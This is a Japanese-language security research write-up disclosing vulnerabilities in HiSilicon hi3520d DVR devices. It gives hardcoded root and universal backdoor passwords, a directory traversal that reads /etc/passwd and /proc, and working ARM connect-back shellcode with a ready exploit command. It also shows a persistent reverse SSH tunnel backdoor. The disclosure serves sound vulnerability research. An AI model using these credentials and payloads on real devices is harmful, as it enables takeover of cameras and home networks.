
HiSilicon hi3520d DVR/NVR デバイス向けの概念実証エクスプロイトと脆弱性開示です。Web インターフェースを介した RCE、バックドア認証情報、バッファオーバーフローの解析を実証します。
= HiSilicon DVR ハック Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :image_width: 100%
[abstract] このレポートは、HiSilicon hi3520d および類似のシステムオンチップ (SoC) を使用して構築された DVR/NVR デバイスの深刻な脆弱性(概念実証 (PoC) コード付き)を開示します。これらの脆弱性を悪用すると、Web インターフェースのみを使用して不正なリモートコード実行 (RCE) が可能になり、悪用されたデバイスを完全に乗っ取ることができます。アップグレードされたファームウェアが提供されていないため、これらのデバイスの使用は推奨されません。 2016年12月より前にベンダーに連絡しましたが、まだ返答がありません。開示の公開日は2017年2月です。
== 序文
数年前、私は eBay で安価な中国製 DVR デバイスを購入しました。デバイスの起動ロゴには「SECULINK - Security Monitoring」と表示されます。IT セキュリティ愛好家として、このセキュリティ監視サービスがどの程度「安全」なのかを確認するために、デバイスを詳しく調べることにしました。このテーマについて Google で検索すると、いくつか興味深い資料が見つかりましたが、さらに深く掘り下げたところ、このデバイスに関するさらに興味深く、はるかに深刻な問題(0-day)を発見しました。
ハッキングセッション全体を最初から見てみましょう。(新しい独自の成果は、既知の古い成果と同様に記載されます。)
== DVR の探索
まずは公式ユーザーインターフェースを学び、その後さらに深く掘り下げ、おそらくファームウェアの入手を試みるべきです。脆弱性を見つける可能性はファームウェアとともに高まります。
=== 一目見た DVR
テスト用の DVR デバイスは「Seculink」というブランドです。
image::./seculink_device.png[Seculink DVR device]
利用可能な物理インターフェース:
公式ユーザーインターフェース:
直接アクセス可能なセットアップインターフェースは、ユーザー認証(ユーザー名、パスワード)によって制限されています。デフォルトのスーパーユーザーは 'admin'、デフォルトのパスワードは空です。
強力なパスワードを設定した後、ユーザーは自分のカメラビューが他の人からアクセスされないと安心して感じるかもしれません。人々は、外部から DVR ストリームにアクセスするために、自宅の安全な LAN から DVR デバイスの Web ポート(tcp/80)を WAN 側に転送することがよくあります(これは、適切な Shodan 検索で確認できます ;) )。
=== ファームウェアの取得
ファームウェアを入手する方法はたくさんあるかもしれません:
後者(ダウンロード)の方法はここでは機能し、最も簡単ですが、デバイスに関する他の情報も得られるため、最初の方法を試してみましょう。
=== サービススキャン
DVR に対してフルポートスキャンを実行しましょう。なお、(root で実行した場合のデフォルトの)SYN スキャンはパケットがドロップされるため非常に遅いですが、フル TCP コネクトスキャンは数分で完了します。
Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam
要約と手動テスト:
なお、rtsp ストリームを開くには認証情報も必要です。
ここで、このデバイスはおそらく Linux 系のシステムであると言えます。
raw netcat で 9527/tcp に接続すると、ログメッセージとログインプロンプトが表示されるアプリケーションコンソールが表示されます。定義済みのアプリケーション認証情報のいずれかでログインできます。プロンプトで help を実行すると、コンソールコマンドの簡単な説明が表示されます。shell コマンドが最も興味深いようです。そうです、デバイスに root シェルを与えます。 ;)
これは明らかに深刻なセキュリティ問題です。なぜなら、いかなる(低権限の)アプリケーションユーザーも、デバイス上で自動的に root シェルを取得できるべきではないからです。
=== root シェル
root シェルでデバイスを調査すると(例:dmesg)、DVR が Linux カーネル(バージョン 3.0.8)を実行しており、ARMv7 CPU を搭載し、SoC モデルが hi3520d であることが明らかになります。
実行中のプロセスのリスト(ps)から、DVR アプリケーションが /var/Sofia であることがわかります。これは、nmap で検出された上記の tcp ポートに加えて、34568/udp および 34569/udp でもリッスンしています(netstat -nlup)。
マウントされたディスクのリスト(mount コマンド)から、ファームウェアイメージが /dev/mtdblockX デバイス(X=0,1,2,3,4,5)にあることがわかります。
ファームウェアは小さく、制限されているため、デバイスとの間でファイルをコピーしたい場合は工夫が必要です。幸い NFS がサポートされているので、デスクトップマシンに NFS サーバーをセットアップし、DVR からマウントすれば問題は解決します:
これでファームウェアの取得は簡単です:
ファイル(生イメージだけでなく)を取得することもできます:
=== telnet インターフェース
telnet インターフェース(ポート 23/tcp)を介してデバイスにアクセスするには、OS の認証情報が必要になる場合があります。/etc/passwd を見ると、root ユーザーのパスワードハッシュがあります:
root 以外のユーザーは存在せず、すべてがフル権限で実行されていることに注意してください。(つまり、誰かが何らかの方法でデバイスに侵入した場合、障壁はなく、攻撃者は即座に完全な権限を取得します。)
6文字の英数字(小文字)パスワードを想定すると、hashcat は上記の弱い DES ハッシュをすぐに解読します:
$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1
absxcfbgXtb3o:xc3511
Session..........: hashcat Status...........: Cracked Hash.Type........: descrypt, DES (Unix), Traditional DES Hash.Target......: absxcfbgXtb3o Time.Started.....: Sun Sep 3 03:25:07 2017 (2 mins, 29 secs) Time.Estimated...: Sun Sep 3 03:27:36 2017 (0 secs) Guess.Mask.......: ?1?1?1?1?1?1 [6] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 815.9 kH/s (203.13ms) Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 121360384/2176782336 (5.58%) Rejected.........: 0/121360384 (0.00%) Restore.Point....: 93440/1679616 (5.56%) Candidates.#1....: sa8711 -> h86ani HWMon.Dev.#1.....: N/A
したがって、ユーザー root とパスワード xc3511 を使用して、ポート 23/tcp の telnet インターフェースを介してログインすることが可能です。閉じることができない telnet インターフェースでアクセス可能なこのハードコードされた root アカウントは、明らかにバックドアです。
これらの結果は、私たちの研究より前に他の人々によってほぼ利用可能でしたが、以下は完全に新しいものです。
== ファームウェアのリバースエンジニアリング
ファームウェアを調査すると、バイナリ /var/Sofia が、ビデオ処理などを除くすべてのインターフェースを実装するメインアプリケーションであることがわかります。したがって、このバイナリは私たちにとって最も興味深いものと思われます。
残念ながら、このバイナリは(静的にリンクされており)ストリップされているため、静的解析が難しくなっています:
したがって、静的解析(radare2 や IDA を使用)に加えて、動的解析も非常に役立つはずです。
=== リモート gdb
動的解析には、GNU プロジェクトデバッガ (GDB) をリモートの /var/Sofia アプリケーションにアタッチすることが有利です。推奨される方法は、リモートデバイス上で gdbserver を実行(およびアタッチ)し、ローカルマシンから gdb で接続することです。
もちろん、適切な ARM アーキテクチャ用に(できれば静的に)コンパイルされた gdbserver が必要です。これをビルドするには、組み込みシステム(私たちの DVR など)に推奨される C ライブラリである https://www.uclibc.org/[µClibc] を使用できます。利用可能なビルドはダイナミックビルドであり、私たちの DVR では問題があるため、カスタムの静的ビルドを自分で作成する必要があります。https://buildroot.org/[Buildroot] という素晴らしいビルド環境があり、追加の設定なしでビルドを実行できます(make menuconfig で必要なアプリ(例:gdb)を選択し、静的ライブラリを選択することを忘れずに、make を実行します)。
短いビルド時間(約 10〜15 分)の後、必要なツールがすべて利用可能になります。静的バイナリは、前述の NFS メソッドでデバイスに転送できます。Sofia バイナリを含むディレクトリ /var は ramfs であり、再起動後も持続しないことに注意してください。バイナリを(ほぼ)永続的に転送したい場合は、設定ファイルを含む読み書き可能なパーティション /mnt/mtd が適切なターゲットになります。openssh パッケージもビルドすると、scp が利用可能になり、ファイルの転送がより簡単になります。
これでファームウェアはリバースエンジニアリングの準備が整いました。リモートで gdbserver をアタッチできるようになりました(Sofia プロセスの PID を取得するのは ps で簡単です):
ローカルマシンから接続します:
なお、何らかの GDB 拡張機能(http://gef.readthedocs.io/en/master/[GEF] など)を使用することをお勧めします。何らかの理由でアプリケーションの一時停止(C-c を使用)が機能しない場合は、Sofia プロセスに TRAP シグナルを送信すると(kill -TRAP 610)、一時停止するはずです。
=== 認証手順の調査
静的解析の推奨ツールは、明らかに Hex-Ray の https://www.hex-rays.com/products/ida/[IDA Pro] です。残念ながら安価ではありませんが、他のどのツールよりもはるかに優れています。
初期の自動解析後には 15,000 以上の関数がありますが、IDA を使えば(簡単な Python スクリプトを使用して)認証関数を見つけるのは一瞬です。以下の https://www.hex-rays.com/products/ida/support/idapython_docs/[IDAPython] スニペットは、「Users」および「Password」の両方(同時に)に関連するものを参照するすべての関数を検索します:
結果は 1 つの関数のみです:sub_2D857C。この関数を簡単に解析すると、これが認証関数であることが確認できます。
設定からユーザーのパスワードハッシュを取得する前に、クリアテキストパスワードがハードコードされた文字列と照合される初期チェックがあります。これが一致すると、認証が許可されます。これはアプリケーションにおける醜いバックドアです。ユニバーサルパスワードは I0TO5Wv9 です。
このパスワードを使用すると、任意のユーザー(例:admin)としてアプリケーション内のすべてにアクセスできます。例えば、ビデオストリームの取得:
または、アプリケーションコンソール(9527/tcp)で root シェルを取得することもできます:
$ nc 192.168.88.127 9527 nc: using stream socket
認証アルゴリズムにおけるもう 1 つの興味深い結果:状況によっては、認証関数はパスワードだけでなくハッシュも受け入れます。rtsp ビデオストリームを開くには、パスワードだけでなく(/mnt/mtd/Config/Account1 に保存されている)ハッシュでも可能です。例えば、tlJwpbo6 は空のパスワードのハッシュです(次のセクションも参照)。したがって```
cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp'
cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'
同様に動作します。
=== パスワードハッシュ関数
認証関数の(より深い)静的解析のもう1つの結果として、パスワードハッシュ関数は `sub_3DD5E4` です。これは基本的に MD5 にいくつかの奇妙な変換を施したものです。これをリバースしてPythonで実装しました:
[source,python]
----
import hashlib
def sofia_hash(msg):
h = ""
m = hashlib.md5()
m.update(msg)
msg_md5 = m.digest()
for i in range(8):
n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
if n > 9:
if n > 35:
n += 61
else:
n += 55
else:
n += 0x30
h += chr(n)
return h
----
実装したハッシュアルゴリズムを使えば、パスワードのブルートフォース攻撃や任意のパスワードの設定が可能です。
== 内蔵Webサーバーにおけるバッファオーバーフロー
Sofiaバイナリはポート80/tcpでHTTPリクエストを処理します。リクエストに対してファジングを試してみましょう。もちろん、(前述の)gdbをアタッチすると役立ちます。実際、コンソール出力も確認するために、Sofiaプロセスをkillしてgdbserverで再起動しましょう:
----
$ kill 610
$ /mnt/mtd/gdbserver :2000 /var/Sofia
----
そしてローカルでは:
----
$ gdb -q -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
gef> c
----
次に、GETリクエストを見てみましょう。応答なし:
----
$ echo 'GET /' | nc 192.168.88.127 80
----
正常な応答(最後に正しいクローズや改行がなくても):
----
$ echo -ne 'GET / HTTP' | nc 192.168.88.127 80
----
長いリクエストでオーバーフローをテストしてみましょう:
----
$ python -c 'print "GET " + "a"*1000 + " HTTP"' | nc 192.168.88.127 80
----
素晴らしい。応答は200で "404 File Not Found" メッセージが返りますが、gdbでは見事なクラッシュを確認できます。 ;)
Sofiaアプリケーションでは、ウォッチドッグカーネルモジュールが有効になっていることに注意してください。1分間実行されないと、デバイスは再起動します。これは、リモートデバイスで実験する場合には良い面もありますが、スムーズにデバッグしたい場合には悪い面もあります。
ウォッチドッグは一度起動するとオフにできないため、それを除去する唯一の方法は、書き込み禁止のファームウェアを書き換えて変更することです。テストデバイスを文鎮化させたくない限り、推奨されません。 ;)
=== プログラムフロー制御
攻撃者の視点から見て、なぜこのクラッシュが素晴らしいのでしょうか?リモートプロセスSofiaはSIGSEGV(セグメンテーションフォールト)を起こし、スタックは私たちの "a" 文字で埋め尽くされますが、最も重要なのは、$pc(プログラムカウンタ)レジスタに私たちが注入した値 `0x61616160`("aaaa" - 1)が入っていることです(おそらくretによって引き起こされますが、原因は重要ではありません)。これは典型的なスタックオーバーフローであり、プログラムフローを簡単に制御できる可能性があることを意味します。
いくつか実験を行った後(二分法により):
----
$ python -c 'print "GET " + "0123" + "a"*(299-4) + "wxyz" + " HTTP"' | nc 192.168.88.127 80
----
これもSIGSEGVを引き起こし、$pcレジスタは `0x7a797876`(~"wxyz";バイトオーダーがリトルエンディアンなので反転、さらにアライメントのため -1)になります。ペイロードは("0123aaa..."で)$sp+0x14(スタックベース+0x14)から始まります。
=== リモートコード実行
このようなオーバーフローを最も簡単かつ効果的に悪用する方法は、スタックにシェルコードを注入し、プログラムフローをそこにリダイレクトすることです。これにより、ターゲット上で任意のリモートコード実行が可能になります。デバイスOSには特権分離がないため、これは完全な制御(ルートシェルアクセス)を意味します。
しかし、攻撃者の活動をはるかに困難にする可能性のある(近代的な)エクスプロイト緩和技術が有効になっているかもしれません。
スタック上のシェルコードに対する最も基本的な保護方法は、No-eXecute(NX)ビット技術です。これは、選択したメモリページ(通常はスタックのような書き込み権限のあるページ)でのコード実行を防ぐことができます。幸いなことに(攻撃者の視点から見れば ;) )、NXビットは設定されていません(STACKフラグが rwx であることを確認してください):
----
$ objdump -b elf32-littlearm -p Sofia
Sofia: file format elf32-littlearm
Program Header:
0x70000001 off 0x00523f34 vaddr 0x0052bf34 paddr 0x0052bf34 align 2**2
filesz 0x000132a8 memsz 0x000132a8 flags r--
LOAD off 0x00000000 vaddr 0x00008000 paddr 0x00008000 align 2**15
filesz 0x005371dc memsz 0x005371dc flags r-x
LOAD off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**15
filesz 0x000089c8 memsz 0x000dad8c flags rw-
TLS off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**2
filesz 0x00000004 memsz 0x00000018 flags r--
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rwx
private flags = 5000002: [Version5 EABI]<Unrecognised flag bits set>
----
あるいは、gdb gef で `checksec` を使うだけでも構いません。gdb gef の `checksec` は、スタックカナリーなどの他の緩和策が存在しないことも教えてくれます(スタックカナリーが存在すれば、スタックオーバーフローで$pcを制御できないため、これは明白です)。
RCEを機能させる前に知っておくべき唯一のことは、スタックアドレスです。シェルコードへプログラムフローをリダイレクトするために、ペイロードの適切な位置(上記の "wxyz")に $sp+0x14 のアドレスを注入する必要があります。
これを困難にする(あるいは非常に困難、場合によってはほぼ不可能にする)緩和技術として、アドレス空間レイアウトのランダム化(ASLR)もあります。ASLRは、メモリセグメントのベースアドレス(例:スタックのベースアドレス)をランダム化します。
運が悪いことに、ASLRは有効です("2"は完全なランダム化、"0"は無効):
----
$ cat /proc/sys/kernel/randomize_va_space
2
----
==== ASLRなしのRCE
まずASLRを無効にしてオーバーフローを悪用してみましょう。
----
$ echo 0 > /proc/sys/kernel/randomize_va_space
----
上記の手順に従うと、SIGSEGVクラッシュ時のスタックアドレス($sp)は 0x5a26f3d8 になります(ASLRを無効にした異なる実行でも同じです)。
したがって、ペイロードは次のようになります:
----
python -c 'print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xd8\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
----
ここで、シェルコードは実行したいもの、できればコネクトバックシェルコードであるべきです。回避すべき"badchars"があることに注意してください:0x00, 0x0d ('\n'), 0x20 (' '), 0x26 ('&'), 0x3f ('?')。さらに、299バイトのサイズ制限があります。シェルコードジェネレータは我々のbadcharリストに対応できず、自動エンコーダを使っても(サイズ制限のため)問題を解決できません。
そこで、カスタムシェルコードを生成する必要があります。ここでのシェルコードは、socket、connect、dup2、execveシステムコール(ARMの用語ではスーパーバイザコール)を使用してコネクトバックシェルを提供します。badcharsを回避するために、厳密かつ創造的である必要があります。ラベルは使用すべきではありません。ラベルは読みやすくするためだけのものです。
[source,asm]
----
.section .text
.global _start
@ ensure switching to thumb mode (arm mode instructions)
.code 32
_0: add r1, pc, #1
_4: bx r1
@ thumb mode instructions
_start:
.code 16
@ *0x52 -= 1 (port -= 0x100; make it possible to use port numbers <1024)
_8: add r1, pc, #68 @ r1 <- pc+68 = 0xc+68 = 0x50
_a: ldrb r2, [r1, #2] @ r2 <- *0x52
_c: sub r2, #1 @ r2 <- r2-1
_e: strb r2, [r1, #2] @ r2 -> *0x52
@ socket(2, 1, 0) = socket(AF_INET, SOCK_DGRAM, 0)
_10: mov r1, #2 @ r1 <- 2
_12: add r0, r1, #0 @ r0 <- r1 + 0 = 2
_14: mov r1, #1 @ r1 <- 1
_16: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_18: lsl r7, r1, #8 @ r7 <- r1<<8 = 1<<8 = 256
_1a: add r7, #25 @ r7 <- r7 + 25 = 281
_1c: svc 1 @ r0 <- svc_281(r0, r1, r2) = socket(2, 1, 0)
@ connect(r0, 0x50, 16) = connect(&socket, &struct_addr, addr_len)
_1e: add r6, r0, #0 @ r6 <- r0 + 0 = &socket
_20: add r1, pc, #44 @ r1 <- pc+44 = 0x24+44 = 0x50
_22: mov r3, #2 @ r3 <- 2
_24: strh r3, [r1, #0] @ 2 -> *0x50
_26: mov r2, #16 @ r2 <- 16
_28: add r7, #2 @ r7 <- r7 + 2 = 283
_2a: svc 1 @ r0 <- svc_283(r0, r1, r2) = connect(&socket, 0x50, 16)
@ attach stdin/stdout/stderr to socket: dup2(r0, 0), dup2(r0, 1), dup2(r0, 2)
_2c: mov r7, #62 @ r7 <- 62
_2e: add r7, #1 @ r7 <- r7 + 1 = 63
_30: mov r1, #200 @ r1 <- 200
_32: add r0, r6, #0 @ r0 <- r6 + 0 = &socket
_34: svc 1 @ r0 <- svc_63(r0, r1) = dup2(&socket, 0..200)
_36: sub r1, #1 @ r1 <- r1 - 1
_38: bpl _32 @ loop until r1>0 (dup2 every fd to the socket)
@ execve('/bin/sh', NULL, NULL)
_3a: add r0, pc, #28 @ r0 <- pc+28 = 0x3c+28 = 0x58
_3c: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_3e: strb r2, [r0, #7] @ 0 -> *(0x58+7), terminate '/bin/sh' with \x00
_40: push {r0, r2} @ *sp <- {r0, r1, r2} = {0x58, 0x0, 0x0}
_42: mov r1, sp @ r1 <- sp
_44: mov r7, #11 @ r7 <- 11
_46: svc 1 @ svc_11(r0, r1, r2) = execve('/bin/sh\x00', ['/bin/sh\x00', 0], 0)
_48: mov r7, #1 @ r7 <- 1
_4a: add r0, r7, #0 @ r0 <- r7 + 0 = 1
_4c: svc 1 @ svc_1(r0) = exit(1)
_4e: nop
@ struct sockaddr (sa_family = 0x0002 (set by shellcode), sa_data = (port, ip) )
_50: .short 0xffff
_52: .short 0x697b @ port 31377 (hex(31337+0x100) in little-endian)
_54: .byte 192,168,88,100 @ inet addr: 192.168.88.100
_58: .ascii "/bin/shX" @ 'X' will be replaced with \x00 by the shellcode
.word 0xefbeadde @ deadbeef ;)
----
シェルコードをコンパイルして生のバイナリバイトを取得するには(ARM用のクロスツールであればどれでも動作するはずです。例えば `buildroot-2017.02.5/output/host/usr/bin/` でビルドされたツールでも大丈夫です):
----
$ armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
$ armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
$ armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode ./shellcode.bin
$ cat shellcode.bin | xxd -p
01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df
061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0
921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62
696e2f736858deadbeef
----
これをペイロードに注入すればエクスプロイトが機能し、リモートデバイスへのコネクトバックシェルが得られるはずです。
もちろん、最初に `192.168.88.100` でリスナーを起動します:
----
$ nc -nvlp 31337
----
次にペイロードを起動します:
----
$ python -c 'shellcode = "01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62696e2f736858deadbeef".decode("hex"); print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xec\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<html><head><title>404 File Not Found</title></head>
<body>The requested URL was not found on this server</body></html>
----
エクスプロイトは機能するはずです! :) ローカルgdbでは:
----
process 1064 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
----
そして、netcatリスナーでRCEが準備完了です:
----
nc: connect to 192.168.88.100 31337 from 192.168.88.127 55442
nc: using stream socket
----
これで、リモートシステム上で任意のコマンドを(rootとして!)実行できるようになります。
しかし残念ながら、このエクスプロイトは実際の環境への展開にはまだ準備ができていません。ASLRが有効であり、シェルコードの開始アドレスが分からないからです。まだね。
==== ASLRを打ち破る
ASLRを打ち破るのは簡単な仕事ではありませんが、多くの場合、ある程度の創造力で可能です。通常、これを行うには2つの方法があります:
* ランダマイザの弱点を見つけ、ブルートフォースで攻撃する
または部分的なリーク/部分的な上書き、
* リモートバイナリのランダム化されたメモリアドレスをリークする。
ブルートフォース攻撃は無意味に思えます(不正なアドレスを引き起こすとクラッシュして再起動が遅くなるため)。したがって、(見つかれば)リークだけが都合が良さそうです。
長い調査の結果、ほとんど断念せざるを得ませんでした。リークは見つからなかったのですが、そのときまったく別の方向からアイデアが浮かびました。
Webサーバーには、別の脆弱性があります。古典的なディレクトリトラバーサル脆弱性です。実際、これはディレクトリの一覧表示にも機能します(これも重要になります)。
ディレクトリトラバーサル脆弱性とは、次のようなものです:
----
$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
----
また、ディレクトリ一覧も取得できます:
----
$ echo -ne 'GET ../../etc HTTP' | nc 192.168.88.127 80nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<H1>Index of /mnt/web/../../etc</H1>
<p><a href="//mnt/web/../../etc/.">.</a></p>
<p><a href="//mnt/web/../../etc/..">..</a></p>
<p><a href="//mnt/web/../../etc/fs-version">fs-version</a></p>
<p><a href="//mnt/web/../../etc/fstab">fstab</a></p>
<p><a href="//mnt/web/../../etc/group">group</a></p>
<p><a href="//mnt/web/../../etc/init.d">init.d</a></p>
<p><a href="//mnt/web/../../etc/inittab">inittab</a></p>
<p><a href="//mnt/web/../../etc/mactab">mactab</a></p>
<p><a href="//mnt/web/../../etc/memstat.conf">memstat.conf</a></p>
<p><a href="//mnt/web/../../etc/mtab">mtab</a></p>
<p><a href="//mnt/web/../../etc/passwd">passwd</a></p>
<p><a href="//mnt/web/../../etc/passwd-">passwd-</a></p>
<p><a href="//mnt/web/../../etc/ppp">ppp</a></p>
<p><a href="//mnt/web/../../etc/profile">profile</a></p>
<p><a href="//mnt/web/../../etc/protocols">protocols</a></p>
<p><a href="//mnt/web/../../etc/resolv.conf">resolv.conf</a></p>
<p><a href="//mnt/web/../../etc/services">services</a></p>
<p><a href="//mnt/web/../../etc/udev">udev</a></p>
----
この脆弱性は深刻です。攻撃者は、(デバイスがHDDストレージを搭載している場合)録画映像を含むあらゆるファイルを読むことができるからです。
さらに、この脆弱性はASLRを打ち破るのに役立ちます。
`/proc` ファイルシステムには、実行中のプロセスに関する多くの情報が `/proc/[pid]` ディレクトリに含まれています。`GET ../../proc` を使うと `/proc` の一覧表示が可能で、これによりすべてのPIDを取得できます。`/proc/[pid]/cmdline` が `/var/Sofia` なら、アプリケーションのPIDが見つかります。
ASLRを打ち破るための最も重要な情報は `/proc/[pid]/smaps` にあります。このファイルにはメモリページの統計情報が含まれており、ページアドレスやその他の興味深い情報(例:rss)が含まれています。例:
----
$ echo -ne 'GET ../../proc/610/cmdline HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
/var/Sofia
$ echo -ne 'GET ../../proc/610/smaps HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
...
4b699000-4be98000 rwxp 00000000 00:00 0
Size: 8188 kB
Rss: 4 kB
Pss: 4 kB
Shared_Clean: 0 kB
Shared_Dirty: 0 kB
Private_Clean: 0 kB
Private_Dirty: 4 kB
Referenced: 4 kB
Anonymous: 4 kB
AnonHugePages: 0 kB
Swap: 0 kB
KernelPageSize: 4 kB
MMUPageSize: 4 kB
Locked: 0 kB
...
----
これは1ページ分だけです。一覧には約150ページが含まれています。
上記の構造を観察し(ページサイズ、パターンなどに注意して)、(実験とヒューリスティクスにより)どのページが必要なスレッドのスタックを含むかを推測できます。スタックのベースアドレスからのオフセットは一定です(0x7fd3d8)。
メモリページを推測するスニペット:
[source,python]
----
def guessregion(smaps):
for t in range(len(smaps)-7, 1, -1):
if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and
smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
return (t+3)
return (-1)
----
ここで、`smaps[t][1][0]` は `t` 番目の完全なページのサイズ、`smaps[t][1][1]` は関連するRSSです。
このスニペットは、ASLRが有効なさまざまなHiSiliconターゲットに対して自動的に動作する完全なエクスプロイトスクリプトの一部です。スクリプトの簡単な紹介:
----
$ ./pwn_hisilicon_dvr.py -h
usage: pwn_hisilicon_dvr.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST
[--lport LPORT] [--bhost BHOST] [--bport BPORT]
[-n] [-i] [-p] [-u] [--offset OFFSET]
[--cmdline CMDLINE]
exploit HiSilicon DVR devices
optional arguments:
-h, --help show this help message and exit
--rhost RHOST target host
--rport RPORT target port
--lhost LHOST connectback ip
--lport LPORT connectback port
--bhost BHOST listen ip to bind (default: connectback)
--bport BPORT listen port to bind (default: connectback)
-n, --nolisten do not start listener (you should care about connectback
listener on your own)
-i, --interactive select stack memory region interactively (rather than
using autodetection)
-p, --persistent make connectback shell persistent by restarting dvr app
automatically (DANGEROUS!)
-u, --upload upload tools (now hardcoded "./tools/dropbear" in script)
after pwn
--offset OFFSET exploit param stack offset to mem page base (default:
0x7fd3d8)
--cmdline CMDLINE cmdline of Sofia binary on remote target (default
"/var/Sofia")
----
=== ポストエクスプロイテーション
このRCEで何ができるでしょうか?すべてです。これは、Webサービスのポート80/tcpのみを使用する認証不要のRCEであることを忘れないでください。このポートは通常外部に転送されているため、攻撃者がこのRCEを悪用すると、内部LANへのアクセスを得ることができます。
私たちのエクスプロイトスクリプトには、(事前にコンパイルされた) ツールを被害者デバイスにアップロードできるなど、いくつかの便利な機能があります。
永続的で安定したバックドアを作りたい場合は、Dropbearをアップロードしてローカルで待ち受けさせ、外部へのリバースSSHトンネルを開くことができます。この構成により、いつでもどこからでもDVRデバイスにログインできるようになります。----
$ ./pwn_hisilicon_dvr.py --rhost 192.168.88.127 --lhost 192.168.88.100 -p -u
[*] target is 192.168.88.127:80
[*] connectback on 192.168.88.100:31337
[+] assembling shellcode: done. length is 104 bytes
[+] identifying model number: MBD6804T-EL
[*] exploiting dir path traversal of web service to get leak addresses
[+] getting pidlist: found 35 processes
[+] searching for PID of '/var/Sofia': 610
[+] getting stack section base: 0x5a47a000
[*] shellcode address is 0x5ac773ec
[*] exploiting buffer overflow in web service url path
[*] remote shell should gained by connectback shellcode!
[+] Trying to bind to 192.168.88.100 on port 31337: Done
[+] Waiting for connections on 192.168.88.100:31337: Got connection from 192.168.88.127 on port 44330
[+] Opening connection to 192.168.88.127 on port 80: Done
[+] Receiving all data: Done (204B)
[*] Closed connection to 192.168.88.127 port 80
[+] restarting dvr application: Done
[+] uploading tools to /var/.tools: dropbear
[*] Switching to interactive mode
$ cd /var/.tools
$ ln -s dropbear ssh
$ ln -s dropbear dropbearkey
$ ./dropbearkey -t ecdsa -f dropbear_ecdsa.key -s 256
Generating key, this may take a while...
Public key portion is:
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDMcXlCTZfC3ZskLdbjfUSkDvcZCrKd/t8a3ftsfL2EkHlQ/faElTfzACkM8ETw1Z1CH0iLXMznxqzZ4PvvJOk0= root@LocalHost
Fingerprint: md5 55:5e:4c:df:9c:89:4c:cd:2c:47:85:52:ff:5b:b7:48
$ ./dropbear -r ./dropbear_ecdsa.key -p 127.0.0.1:22
$ ln -s dropbear dropbearconvert
$ cat <<EOF > id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
...
...
-----END RSA PRIVATE KEY-----
$ ./dropbearconvert openssh dropbear id_rsa id_rsa.dropbear
$ ./ssh -i ./id_rsa.dropbear -N -f -T -R 2322:localhost:22 [email protected]
----
これで、SSHを使用したリバーストンネル経由でデバイスにアクセスできる:
----
$ ssh -p2322 root@localhost
root@localhost's password:
BusyBox v1.16.1 (2013-07-18 14:40:04 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
Welcome to Monitor Tech.
[root@LocalHost /]$
----
== 概要
文書化された脆弱性は以下のとおり:
[cols="2,1,1,1,4",options="header",]
|=======================================================================
|脆弱性 |リスク |サービス |発見者 |影響
